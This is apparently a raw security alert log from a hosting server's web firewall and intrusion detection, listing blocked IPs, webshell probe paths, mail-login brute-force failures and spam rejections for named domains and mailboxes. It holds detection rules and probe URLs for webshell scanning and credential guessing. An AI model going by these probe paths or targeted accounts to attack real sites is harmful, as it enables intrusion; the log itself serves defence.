IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-05.103.104.20.234||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.179.241.165
country_id: 1168579
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/?path=36&product_id=403&route=product/product HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.196.203.63
country_id: 3895114
description:
2026-01-15 00:05:48 dovecot_plain authenticator failed for H=([89.116.164.85]) [168.196.203.63]:47168: 535 Incorrect authentication data (set_id=suporte@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.230.203.235
country_id: 298795
description:
2026-01-15 00:06:00 dovecot_plain authenticator failed for H=([89.116.164.85]) [88.230.203.235]:49026: 535 Incorrect authentication data (set_id=suporte@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.28.126.170
country_id: 248816
description:
2026-01-15 00:05:25 dovecot_plain authenticator failed for H=([89.116.164.85]) [81.28.126.170]:37774: 535 Incorrect authentication data (set_id=suporte@agpc.org.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.230.203.235
country_id: 298795
description:
2026-01-15 00:06:07 dovecot_login authenticator failed for H=([89.116.164.85]) [88.230.203.235]:49026: 535 Incorrect authentication data (set_id=suporte@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.137.5.61
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/dial/17/418/1757167 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 00:09:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.57.69.227
country_id: 690791
description:
Jan 15 00:08:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.57.69.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-15 00:08:40 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:53685: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/privateresidence-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.116.179.7
country_id: 3865483
description:
2026-01-15 00:09:48 dovecot_plain authenticator failed for H=([89.116.164.85]) [181.116.179.7]:15775: 535 Incorrect authentication data (set_id=hr@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.5.152.225
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/IpUtils.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.52
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3987.132 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.104.78
country_id: 1269750
description:
Jan 15 00:12:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.104.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.78
country_id: 1269750
description:
2026-01-15 00:12:16 dovecot_login authenticator failed for H=([182.95.22.223]) [27.123.104.78]:58150: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.233.110
country_id: 99237
description:
Jan 15 00:12:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.233.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-01-15 00:12:47 dovecot_plain authenticator failed for H=(lifintly) [65.20.233.110]:57818: 535 Incorrect authentication data (set_id=info@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 00:13:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.159.10.42
country_id: 3996063
description:
2026-01-15 00:14:06 dovecot_plain authenticator failed for H=([89.116.164.85]) [189.159.10.42]:37788: 535 Incorrect authentication data (set_id=ceo@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.13
country_id: 1269750
description:
2026-01-15 00:14:31 dovecot_login authenticator failed for H=([122.187.230.13]) [122.187.230.13]:33446: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.159.10.42
country_id: 3996063
description:
2026-01-15 00:14:13 dovecot_login authenticator failed for H=([89.116.164.85]) [189.159.10.42]:37788: 535 Incorrect authentication data (set_id=ceo@agpc.org.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.35
country_id: 6252001
description:
2026-01-15  0:14:22 67457 [Warning] Aborted connection 67457 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.35' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.8.122.153
country_id: 1643084
description:
2026-01-15 00:14:24 dovecot_plain authenticator failed for H=([89.116.164.85]) [182.8.122.153]:10773: 535 Incorrect authentication data (set_id=ceo@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.13
country_id: 1269750
description:
Jan 15 00:14:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.234.8.114
country_id: 2017370
description:
Jan 15 00:15:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.234.8.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.8.114
country_id: 2017370
description:
2026-01-15 00:15:27 dovecot_login authenticator failed for H=([213.234.8.114]) [213.234.8.114]:38146: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.131.78.173
country_id: 690791
description:
2026-01-15 00:19:07 dovecot_plain authenticator failed for H=([89.116.164.85]) [31.131.78.173]:3756: 535 Incorrect authentication data (set_id=office@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.56.126.50
country_id: 3996063
description:
2026-01-15 00:18:38 dovecot_plain authenticator failed for H=static-200-56-126-50.alestra.net.mx ([89.116.164.85]) [200.56.126.50]:60670: 535 Incorrect authentication data (set_id=office@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.209.245.13
country_id: 6252001
description:
2026-01-15 00:18:53 dovecot_plain authenticator failed for H=71-209-245-13.phnx.qwest.net ([89.116.164.85]) [71.209.245.13]:42498: 535 Incorrect authentication data (set_id=office@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.131.78.173
country_id: 690791
description:
2026-01-15 00:19:14 dovecot_login authenticator failed for H=([89.116.164.85]) [31.131.78.173]:3756: 535 Incorrect authentication data (set_id=office@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.82.141.145
country_id: 6252001
description:
2026-01-15 00:19:17 dovecot_plain authenticator failed for H=c-68-82-141-145.hsd1.pa.comcast.net (stimphy) [68.82.141.145]:50860: 535 Incorrect authentication data (set_id=siowchi.kwang@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.101.201.198
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Loader/DependencyInjection HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/images/private-residence.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.82.141.145
country_id: 6252001
description:
Jan 15 00:19:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.82.141.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.169.52.67
country_id: 2017370
description:
Jan 15 00:19:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.169.52.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.169.52.67
country_id: 2017370
description:
2026-01-15 00:19:27 dovecot_login authenticator failed for H=([193.169.52.67]) [193.169.52.67]:37590: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.5.7.66
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Loader/DependencyInjection/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.42.225.40
country_id: 2510769
description:
Jan 15 00:20:49 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.42.225.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.42.225.40
country_id: 2510769
description:
2026-01-15 00:20:51 dovecot_login authenticator failed for H=40.red-81-42-225.staticip.rima-tde.net [81.42.225.40]:51562: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.26.208.69
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-23.82.26.208.69||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.1.190.227
country_id: 1733045
description:
2026-01-15 00:23:13 dovecot_plain authenticator failed for H=([89.116.164.85]) [14.1.190.227]:7106: 535 Incorrect authentication data (set_id=soporte@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.57.208
country_id: 1733045
description:
2026-01-15 00:23:26 dovecot_plain authenticator failed for H=([89.116.164.85]) [121.121.57.208]:4278: 535 Incorrect authentication data (set_id=soporte@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.117.188.239
country_id: 3437598
description:
2026-01-15 00:23:42 dovecot_plain authenticator failed for H=([89.116.164.85]) [181.117.188.239]:35508: 535 Incorrect authentication data (set_id=soporte@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.126
country_id: 3469034
description:
Jan 15 00:26:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.126
country_id: 3469034
description:
Jan 15 00:26:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.245.13.243
country_id: 1269750
description:
Jan 15 00:26:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.245.13.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.148.253.133
country_id: 3469034
description:
2026-01-15 00:27:35 dovecot_plain authenticator failed for H=([89.116.164.85]) [201.148.253.133]:45206: 535 Incorrect authentication data (set_id=ventas@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.56.119.111
country_id: 6252001
description:
2026-01-15 00:27:53 dovecot_plain authenticator failed for H=([89.116.164.85]) [172.56.119.111]:42029: 535 Incorrect authentication data (set_id=ventas@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.223.2.42
country_id: 1269750
description:
Jan 15 00:28:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.223.2.42 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.68
country_id: 6252001
description:
2026-01-15  0:30:28 68287 [Warning] Aborted connection 68287 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.68' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.19.242.63
country_id: 2635167
description:
2026-01-15 00:31:52 dovecot_plain authenticator failed for H=cpc91570-seac25-2-0-cust574.7-2.cable.virginm.net ([89.116.164.85]) [86.19.242.63]:52864: 535 Incorrect authentication data (set_id=clients@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.114.42.81
country_id: 3895114
description:
2026-01-15 00:32:07 dovecot_plain authenticator failed for H=([89.116.164.85]) [190.114.42.81]:5444: 535 Incorrect authentication data (set_id=clients@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.114.42.81
country_id: 3895114
description:
2026-01-15 00:32:14 dovecot_login authenticator failed for H=([89.116.164.85]) [190.114.42.81]:5444: 535 Incorrect authentication data (set_id=clients@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.106.173.36
country_id: 1733045
description:
2026-01-15 00:32:20 dovecot_plain authenticator failed for H=([89.116.164.85]) [203.106.173.36]:38532: 535 Incorrect authentication data (set_id=clients@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.109.56.85
country_id: 1210997
domain: webmail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/webmail.fimco.com.my/cgi-bin HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.225.162.149
country_id: 690791
domain: webmail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/webmail.fimco.com.my/cgi-bin/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.75.138.14
country_id: 1210997
description:
2026-01-15 00:35:52 H=([103.75.138.14]) [103.75.138.14]:48935 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.139.152.106
country_id: 1282988
description:
2026-01-15 00:36:14 dovecot_plain authenticator failed for H=([89.116.164.85]) [103.139.152.106]:3102: 535 Incorrect authentication data (set_id=office@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.232.252.132
country_id: 3658394
description:
2026-01-15 00:36:34 dovecot_plain authenticator failed for H=([89.116.164.85]) [181.232.252.132]:45826: 535 Incorrect authentication data (set_id=office@agpc.org.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.75.138.14
country_id: 1210997
description:
2026-01-15 00:39:47 H=([103.75.138.14]) [103.75.138.14]:49207 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.75.138.14
country_id: 1210997
description:
2026-01-15 00:41:41 H=([103.75.138.14]) [103.75.138.14]:49323 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 00:42:53 H=([45.144.212.242]) [45.144.212.242]:61756 F=<no_reply@admin.com> rejected RCPT <jacklim@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.75.138.14
country_id: 1210997
description:
2026-01-15 00:43:01 H=([103.75.138.14]) [103.75.138.14]:49420 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-15 00:43:33 H=([77.83.39.92]) [77.83.39.92]:57496 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <admin@fkr.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.255.109.42
country_id: 3469034
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-65.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 00:45:42 H=([45.144.212.242]) [45.144.212.242]:64923 F=<no_reply@admin.com> rejected RCPT <marina@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.199.118.62
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-48.185.199.118.62||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 00:52:04 H=([45.144.212.242]) [45.144.212.242]:60120 F=<no_reply@admin.com> rejected RCPT <marylinkoh@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.61.137.26
country_id: 3469034
description:
Jan 15 00:56:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.61.137.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.61.137.26
country_id: 3469034
description:
2026-01-15 00:56:20 dovecot_plain authenticator failed for H=(hwmco02ojcbj0ohnkhnj4pvzwvropsi) [177.61.137.26]:54992: 535 Incorrect authentication data (set_id=2096jasonkua@printspecsolution.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.112.217.216
country_id: 2661886
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-57.92.112.217.216||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/images/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/demos/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 43.248.109.29
country_id: 1814991
description:
2026-01-15  1:00:00 69351 [Warning] Aborted connection 69351 to db: 'unconnected' user: 'unauthenticated' host: '43.248.109.29' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 01:00:02 H=([45.144.212.242]) [45.144.212.242]:55843 F=<no_reply@admin.com> rejected RCPT <meifoong@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.183.119.181
country_id: 3469034
domain: www.cofreth.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:01-01.45.183.119.181||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-15 01:05:24 H=([77.83.39.92]) [77.83.39.92]:49623 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <spyong@ajplantations.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 01:06:11 H=([45.144.212.242]) [45.144.212.242]:62135 F=<no_reply@admin.com> rejected RCPT <michelle.soo@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.202.197.108
country_id: 6252001
description:
Jan 15 01:07:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.202.197.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.202.197.108
country_id: 6252001
description:
2026-01-15 01:07:10 dovecot_plain authenticator failed for H=(enfible) [50.202.197.108]:55716: 535 Incorrect authentication data (set_id=info@usfood.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.93
country_id: 690791
description:
Jan 15 01:07:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.93
country_id: 690791
description:
Jan 15 01:08:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.226.27.227
country_id: 294640
description:
Jan 15 01:08:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.226.27.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.27.227
country_id: 294640
description:
2026-01-15 01:08:53 dovecot_plain authenticator failed for H=(mognathus) [109.226.27.227]:51372: 535 Incorrect authentication data (set_id=khaikong.yap@tujusetia.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 134.209.235.25
country_id: 2921044
description:
Jan 15 01:09:56 sv3 pure-ftpd[2619363]: (?@134.209.235.25) [INFO] New connection from 134.209.235.25


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.146.60.78
country_id: 3996063
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/date/384/174084 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.233
country_id: 1269750
description:
Jan 15 01:11:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.233 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.233
country_id: 1269750
description:
2026-01-15 01:11:17 dovecot_login authenticator failed for H=(nsg-corporate-233.228.187.122.airtel.in) [122.187.228.233]:49803: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 94.103.91.198
country_id: 2017370
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-12.94.103.91.198||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.215
country_id: 6252001
description:
Jan 15 01:17:08 sv3 pure-ftpd[2623116]: (?@205.210.31.215) [INFO] New connection from 205.210.31.215


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.182.29
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-18.108.165.182.29||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 183.191.31.213
country_id: 1814991
description:
2026-01-15  1:18:52 70147 [Warning] Aborted connection 70147 to db: 'unconnected' user: 'unauthenticated' host: '183.191.31.213' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.32.41.16
country_id: 798549
description:
2026-01-15 01:19:44 dovecot_login authenticator failed for H=(ADMIN) [89.32.41.16]:48390: 535 Incorrect authentication data (set_id=marketing@kdiballoon.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.87.251.136
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/let/10/455/1027724 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.238
country_id: 3175395
description:
Jan 15 01:21:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.238
country_id: 3175395
description:
Jan 15 01:21:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.162.185.110
country_id: 1210997
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=1&sub=26 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.56
country_id: 1269750
description:
